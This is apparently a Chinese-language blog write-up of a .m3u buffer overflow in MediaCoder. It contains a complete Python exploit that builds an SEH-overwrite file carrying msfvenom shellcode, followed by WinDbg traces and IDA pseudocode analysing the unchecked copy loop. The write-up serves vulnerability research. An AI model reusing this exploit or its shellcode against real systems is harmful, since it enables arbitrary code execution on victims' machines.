MediaCoder 0.8.43.5852 - .m3u缓冲区溢出漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/bab45ceeba55cbe48a49ead4e6787fd0-MediaCoder-0.8.45.5852.exe

PoC:

#!/usr/bin/python
 
total_buf = 5000
 
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -b '\x00\x0a\x0d\xff' -f c
# Payload size: 455 bytes
 
shellcode = ("\x89\xe1\xda\xcc\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x42\x55\x50"
"\x45\x50\x35\x50\x53\x50\x4c\x49\x4b\x55\x46\x51\x59\x50\x55"
"\x34\x4c\x4b\x30\x50\x56\x50\x4c\x4b\x31\x42\x54\x4c\x4c\x4b"
"\x46\x32\x44\x54\x4c\x4b\x32\x52\x47\x58\x34\x4f\x58\x37\x50"
"\x4a\x47\x56\x50\x31\x4b\x4f\x4e\x4c\x37\x4c\x43\x51\x53\x4c"
"\x53\x32\x36\x4c\x51\x30\x59\x51\x58\x4f\x34\x4d\x35\x51\x48"
"\x47\x4a\x42\x5a\x52\x36\x32\x46\x37\x4c\x4b\x56\x32\x52\x30"
"\x4c\x4b\x50\x4a\x57\x4c\x4c\x4b\x50\x4c\x52\x31\x32\x58\x4d"
"\x33\x30\x48\x33\x31\x38\x51\x46\x31\x4c\x4b\x50\x59\x31\x30"
"\x33\x31\x49\x43\x4c\x4b\x30\x49\x55\x48\x5a\x43\x36\x5a\x47"
"\x39\x4c\x4b\x30\x34\x4c\x4b\x45\x51\x39\x46\x36\x51\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x44\x4d\x53\x31\x58\x47\x56\x58\x4d"
"\x30\x33\x45\x4b\x46\x54\x43\x43\x4d\x4c\x38\x47\x4b\x53\x4d"
"\x37\x54\x54\x35\x5a\x44\x51\x48\x4c\x4b\x30\x58\x57\x54\x35"
"\x51\x4e\x33\x55\x36\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x43\x31\x58\x53\x4c\x4b\x55\x54\x4c\x4b\x35\x51\x48"
"\x50\x4b\x39\x51\x54\x56\x44\x46\x44\x51\x4b\x31\x4b\x43\x51"
"\x46\x39\x30\x5a\x46\x31\x4b\x4f\x4d\x30\x51\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x52\x32\x4a\x4b\x4c\x4d\x51\x4d\x52\x4a\x43\x31"
"\x4c\x4d\x4c\x45\x4f\x42\x43\x30\x55\x50\x33\x30\x30\x50\x33"
"\x58\x56\x51\x4c\x4b\x32\x4f\x4d\x57\x4b\x4f\x48\x55\x4f\x4b"
"\x4a\x50\x38\x35\x4e\x42\x31\x46\x53\x58\x49\x36\x5a\x35\x4f"
"\x4d\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x33\x4c\x35\x5a"
"\x4b\x30\x4b\x4b\x4d\x30\x44\x35\x33\x35\x4f\x4b\x31\x57\x44"
"\x53\x52\x52\x52\x4f\x33\x5a\x33\x30\x36\x33\x4b\x4f\x58\x55"
"\x42\x43\x45\x31\x52\x4c\x35\x33\x56\x4e\x55\x35\x54\x38\x32"
"\x45\x53\x30\x41\x41")
 
junk = "http:// "
junk += "A"*784
nseh = "\xEB\x06\x90\x90"
seh = "\x38\x78\x01\x66" # PPR - 0x66017838 - libiconv-2.dll
evil = junk + nseh + seh
evil += "\x90"*50 + shellcode
evil += "\x90"*3000
 
file = open("evil.m3u", "wb")
file.write (evil)
file.close()

运行PoC会生成一个m3u文件,用存在漏洞的播放器打开即可


漏洞复现


此漏洞是由于MediaCoder在处理.m3u文件的时候由于没有对文件内容进行检查,导致后续函数中会加载文件内容,连续读取时由于某处内容不可读,引发SEH异常处理,通过覆盖SEH指针达到任意代码执行,下面对此漏洞进行详细分析。

首先打开文件,附加Windbg,到达漏洞现场。

(724.d84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000090 ebx=77d2f3c2 ecx=0135a111 edx=fedd5ef0 esi=00547c38 edi=000302a6
eip=004306b5 esp=0012f300 ebp=0012f4dc iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210286
MediaCoder!IMG_InvertAlpha+0x1bdb5:
004306b5 88440aff        mov     byte ptr [edx+ecx-1],al    ds:0023:00130000=41

此时引用了无效指针,再次执行时到达可控位置

(ea0.ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00547c38 ebx=01390d48 ecx=01312050 edx=0000012f esi=000d01c8 edi=00547c38
eip=41414141 esp=0012f4e4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

通过kb回溯堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e760 0043cbc8 00000000 01390c80 00177240 MediaCoder!IMG_InvertAlpha+0x1bd20
0012e918 00409f2a 00000002 01390c80 01390c80 MediaCoder!IMG_InvertAlpha+0x282c8
0012eab4 004448de 0005027e 00177240 00444330 MediaCoder!IMG_LoadWEBP_RW+0x2dca

就从0043cbc8位置所处的函数开始进行分析。


漏洞分析


在外层函数中追踪到了一个比较有趣的参数传递过程,首先通过IDA来看一下伪代码部分。

void __fastcall sub_43C020(int a1, int a2, signed int a3)
{
    ……
    if ( a3 < 2 )
      goto LABEL_113;
    v23 = sub_429760();
    v25 = v23;
        if ( !v25 )
    {
      v94 = *(HWND *)(v3 + 4);
      *(_DWORD *)(v3 + 28) = 1087;
      v95 = GetDlgItem(v94, 1087);
      *(_DWORD *)(v3 + 32) = v95;
      sub_430620(v95, 0, 0);
LABEL_109:
      if ( a3 >= 3 )
        sub_43BF10(-1);
      if ( a3 >= 4 )
        (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 224))(v3);
LABEL_113:
      --*(_DWORD *)(v3 + 52);
      sub_42EC60(v3);
      return;
    }
    if ( *(_DWORD *)(v25 + 8) )
    {
      sub_455C70((LPVOID)v25, 0);
      v27 = sub_4D6540(*(_DWORD *)(v25 + 8), 92);
      v110 = v27 + 1;
      if ( v27 )
        goto LABEL_39;
      v28 = *(char **)(v25 + 8);
    }
    else
    {
      v28 = CStringTable::GetString((CStringTable *)&unk_561848, "original", 0, 0);
    }
}

v23在执行一次函数过后会获取到一个指针地址,这个地址随后会交给v25,这个值就是从文件中读取的文件内容。

Breakpoint 0 hit
eax=013b8e50 ebx=01390bb0 ecx=00000000 edx=0000005c esi=00090240 edi=00547c38
eip=0043c331 esp=0012f4e8 ebp=0012f694 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
MediaCoder!IMG_InvertAlpha+0x27a31:
0043c331 8945dc          mov     dword ptr [ebp-24h],eax ss:0023:0012f670=00000001

0:000> dc eax
013b8e50  70747468 202f2f3a 41414141 41414141  http:// AAAAAAAA
013b8e60  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8e70  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8e80  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8e90  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

此时eax已经读取到了畸形字符串的地址头部,接下来会进行传递,在刚才伪代码后面会进行一次if判断,主要是对v25+8的值进行判断,这个值,其实就是后续传递的存在问题的畸形字符串地址。

    if ( *(_DWORD *)(v25 + 8) )

直接动态跟踪一下这个过程,这里edi+8实际上就是畸形字符串地址,这里会与0作比较,其实就是进行了一次if语句判断,若为0,则不进入,不为0,则进入,明显这里要进入if语句。

Breakpoint 0 hit
eax=00000001 ebx=01390bb0 ecx=00000001 edx=0cad0002 esi=00120230 edi=00547c38
eip=0043c2f5 esp=0012f4e8 ebp=0012f694 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MediaCoder!IMG_InvertAlpha+0x279f5:
0043c2f5 837f0800        cmp     dword ptr [edi+8],0  ds:0023:00547c40=013b8e50
0:000> dd edi+8
00547c40  013b8e50 00000000 00000000 00000000
0:000> dd 013b8e50
013b8e50  70747468 202f2f3a 41414141 41414141
013b8e60  41414141 41414141 41414141 41414141
013b8e70  41414141 41414141 41414141 41414141
013b8e80  41414141 41414141 41414141 41414141
013b8e90  41414141 41414141 41414141 41414141
013b8ea0  41414141 41414141 41414141 41414141
013b8eb0  41414141 41414141 41414141 41414141
013b8ec0  41414141 41414141 41414141 41414141

在if语句的最后,会对v28进行一次赋值,赋值之后v28就是畸形字符串的地址了,可以看到到现在并没有对文件的长度进行检查,接下来继续动态跟踪,先看一下IDA伪代码部分。

    v110 = (int)v28;
LABEL_39:
 
    sub_430620(v26, v25, v110);

v28会交给v110,而随后,sub_430620会调用到v110,到畸形字符串传入时并没有对长度进行检查。观察一下传参部分。

Breakpoint 0 hit
eax=000f0230 ebx=01390bb0 ecx=000f0230 edx=00000000 esi=000f0230 edi=00000000
eip=00430620 esp=0012e764 ebp=0012e918 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
MediaCoder!IMG_InvertAlpha+0x1bd20:
00430620 55              push    ebp

0:000> dd esp
0012f4e0  0043cb95 013b8e50 000c02a8 01390bb0
0012f4f0  01390bb0 00000020 000c02a8 0012f518
0012f500  5d1c31a2 000c02a8 00000020 003002a2
0012f510  02000001 01355230 0012f574 0012f528
0012f520  5d176074 0012f59c 0012f574 5d176041
0012f530  0012f59c 5d176049 000c02a8 01355230
0012f540  00000000 5d1c3149 0006045a 00000001
0012f550  00000000 0012f59c 77d2934b 000c02a8
0:000> dc 013b8e50
013b8e50  70747468 202f2f3a 41414141 41414141  http:// AAAAAAAA
013b8e60  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8e70  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8e80  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8e90  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8ea0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
013b8eb0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

进入后对此函数进行单步跟踪,发现函数会进入一处循环操作。

.text:004306B0 loc_4306B0:                             ; CODE XREF: sub_430620+9Bj
.text:004306B0                 mov     al, [ecx]
.text:004306B2                 lea     ecx, [ecx+1]
.text:004306B5                 mov     [edx+ecx-1], al
.text:004306B9                 test    al, al
.text:004306BB                 jnz     short loc_4306B0

这个循环会不断进行赋值,来看一下动态跟踪的过程。

0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e51 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b2 esp=0012f300 ebp=0012f4dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MediaCoder!IMG_InvertAlpha+0x1bdb2:
004306b2 8d4901          lea     ecx,[ecx+1]
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b5 esp=0012f300 ebp=0012f4dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MediaCoder!IMG_InvertAlpha+0x1bdb5:
004306b5 88440aff        mov     byte ptr [edx+ecx-1],al    ds:0023:0012f381=00
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b9 esp=0012f300 ebp=0012f4dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MediaCoder!IMG_InvertAlpha+0x1bdb9:
004306b9 84c0            test    al,al
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306bb esp=0012f300 ebp=0012f4dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
MediaCoder!IMG_InvertAlpha+0x1bdbb:
004306bb 75f3            jne     MediaCoder!IMG_InvertAlpha+0x1bdb0 (004306b0) [br=1]
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b0 esp=0012f300 ebp=0012f4dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
MediaCoder!IMG_InvertAlpha+0x1bdb0:
004306b0 8a01            mov     al,byte ptr [ecx]          ds:0023:013b8e52=74
0:000> g
(d68.d6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000090 ebx=77d2f3c2 ecx=013b9ad1 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b5 esp=0012f300 ebp=0012f4dc iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210286
MediaCoder!IMG_InvertAlpha+0x1bdb5:
004306b5 88440aff        mov     byte ptr [edx+ecx-1],al    ds:0023:00130000=41

在赋值到41的时候程序产生错误,导致进入SEH异常处理,通过IDA看一下这个函数的代码部分。

int __usercall sub_430620@<eax>(HWND hWnd@<ecx>, int a2@<edx>, int a3)
{
  v3 = a2;
  v104 = a2;
  v4 = hWnd;
  sub_4D7040(&lParam, 0, 68);
  v107 = 9;
  lParam = -65536;
  v106 = -65534;
  v110 = v112;
  v108 = 32;
  v109 = 32;
  if ( !v3 || sub_455C70((LPVOID)v3, 0) )
  {
    v101 = CStringTable::GetString((CStringTable *)&unk_561848, "selfile", 0, 0);
    sub_402380(v112, "(%s)", v101);
    return SendMessageA(v4, 0x1100u, 0, (LPARAM)&lParam);
  }
  v5 = (char *)a3;
  if ( a3 )
  {
    do
    {
      v6 = *v5++;
      v5[(_DWORD)&v112[-a3] - 1] = v6;
    }
    while ( v6 );
    lParam = SendMessageA(v4, 0x1100u, 0, (LPARAM)&lParam);
  }

a3作为畸形字符串传入,在里面将a3交给v5,随后v5在do while循环中进行连续赋值,由于指针引用导致的程序出现问题,进入SEH异常处理,随后到达可控位置。

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00547c38 ebx=01390d48 ecx=01312050 edx=0000012f esi=000d01c8 edi=00547c38
eip=41414141 esp=0012f4e4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

总结一下这个漏洞利用,仍然是由于对于文件的长度没有进行长度控制,从而导致后续函数处理调用畸形字符串时导致程序指针引用异常,进入SEH处理,从而引发任意代码执行。

Comments
Write a Comment